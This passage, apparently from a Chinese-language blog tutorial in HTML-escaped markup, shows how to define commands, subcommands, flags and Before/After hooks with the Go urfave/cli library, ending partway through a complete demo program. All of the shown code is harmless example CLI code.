class=\"string\"\u003e\u0026#34;insert data\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                       \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;insert subcommand\u0026#34;\u003c/span\u003e)                        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;delete\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;delete data\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                       \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;delete subcommand\u0026#34;\u003c/span\u003e)                        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果你想在command执行前后执行后完成一些操作,可以指定app.Before/app.After这两个字段:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapp.Before = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app Before\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.After = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app After\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e具体测试一下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ GoTest add\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ GoTest db insert\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"5\"\u003e\u003cli\u003e小结\u003cbr/\u003e总体来说,urfave/cli这个库还是很好用的,完成了很多routine的工作,程序员只需要专注于具体业务逻辑的实现。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e附完整demo代码:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e cli\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;fmt\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;os\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;sort\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;gopkg.in/urfave/cli.v1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eRun\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e language \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp := cli.NewApp()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Name = \u003cspan class=\"string\"\u003e\u0026#34;GoTest\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Usage = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Version = \u003cspan class=\"string\"\u003e\u0026#34;1.2.3\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Flags = []cli.Flag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.IntFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;port, p\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"number\"\u003e8000\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;listening port\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.StringFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;lang, l\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;read from `FILE`\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDestination: \u0026amp;language,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Commands = []cli.Command{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;add\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 1+1\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;1 + 1 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e+\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;sub\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;s\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 5-3\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;5 - 3 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003cspan class=\"number\"\u003e-3\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;db\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;database operations\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;database\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSubcommands: []cli.Command{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;insert\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;insert data\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;insert subcommand\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;delete\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;delete data\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;delete subcommand\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Action = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;BOOM!\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(c.String(\u003cspan class=\"string\"\u003e\u0026#34;lang\u0026#34;\u003c/span\u003e), c.Int(\u003cspan class=\"string\"\u003e\u0026#34;port\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(language)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e c.Int(\u003cspan class=\"string\"\u003e\u0026#34;port\u0026#34;\u003c/span\u003e) == \u003cspan class=\"number\"\u003e8000\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e cli.NewExitError(\u003cspan class=\"string\"\u003e\u0026#34;invalid port\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e88\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Before = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app Before\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.After = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app After\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esort.Sort(cli.FlagsByName(app.Flags))\u003c/span\u003e\u003cbr/\u003e\u003cspan 